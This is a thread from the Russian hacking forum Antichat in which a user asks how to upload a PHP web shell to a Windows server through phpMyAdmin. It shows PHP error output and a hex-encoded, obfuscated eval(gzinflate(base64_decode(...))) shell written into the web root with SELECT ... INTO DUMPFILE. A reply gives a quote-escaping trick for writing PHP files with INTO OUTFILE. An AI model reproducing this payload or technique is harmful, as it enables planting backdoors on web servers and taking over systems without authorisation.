Форум АНТИЧАТ - Заливка файла через phpmyadmin\sql

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Заливка файла через phpmyadmin\sql (https://forum.antichat.xyz/showthread.php?t=201799)

Заливка файла через phpmyadmin\sql

Всем привет! Ситуация такая: есть виндовая (предположительно Server 2003) машина с установленным phpmyadmin (Apache/2.2.4 PHP/5.2.3). Доступ к phpmyadmin у меня есть, но заливка любого php шелла через вставление в таблицу и select...into outfile заканчивается примерно вот этим:

Код:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 2



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 4



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 6



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 8



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 10



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 12



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 14



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 16



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\AppServ\www\inc\dbcon.php on line 18



Parse error: syntax error, unexpected T_STRING in C:\AppServ\www\inc\dbcon.php on line 27

Перепробовал штук 6 разных шеллов, но эта ошибка вылезает даже при попытке залить такой код:

PHP код:


		
			
<?php

$test='testing';

echo $test;

?>

Возможно ли тут что-либо сделать?

select
0x3c3f706870206576616c28677a696e666c61746528626173 6536345f6465636f646528276a5a505062707441454d62766c 76774f6f35556c45696b4f6971746547724261705553706c4e 535737665a6957516a44576944787237445974616f2b583376 724a512b416b6c433769634532394e4244716e515854427858 506654437a734c332f575a326471693543744642684a72636c 5472767055366665393036655863687665334a6e5661727877 324f7135556130386a456b5833564d3179796f32366674576c 38666c6f4941396430416731375643494977706e556b616f56 5153655732575172566a5332586b6939563641543474627868 3841596979654f5462424e36723270693045744e6949692b43 50686d6655595646337866457a665451786263795a2b2f616a 782f41677846444749695a76774a6278655a62506245483647 502b36534b3468445745657271326746416c3949714a597638 773864625a72583032674b77795a634a71744643446433447a 41724d504d53492f44444a7255316d486a6b6542596f4b6a45 635730522f4e51534268596e7561434a79485a2f75734b3053 656859525759464a44466678434d2f73645530684369763757 356265773232654a647657477445736875304742416f7a6177 41435737466f624f4f4a7a4849694743746d674e6b4e734332 7433364f38723475484842622b503478465778677137753351 31563230596536345234614a537a654c632f652f6848347774 4179794159766f6d584c74546d667a394434645073727a5675 524265512f385a6b4459754a5244704767736a77677661334b 3731653331756249443341414f41664749506e652b735a4c79 475452477347633559797758474b7a4a6a4c5248786164767a 7156756e79735077413336484c48636a664d416e7554643336 3957506c5572574e5564514a6530733543746c3947764f436c 47354873557877655178484354724e4e7347635777544f4233 6d697779574762702f41557237676b4e614657664b6333304d 5779356a2f384b2b77702f41413d3d272929293b203f3e
INTO DUMPFILE
'C:/AppServ/www/inc/go.php'

gromoza, проще экранировать кавычки! =\

PHP код:


		
			
select '<? print \'test\'; ?>' into outfile '/path/to/file.php';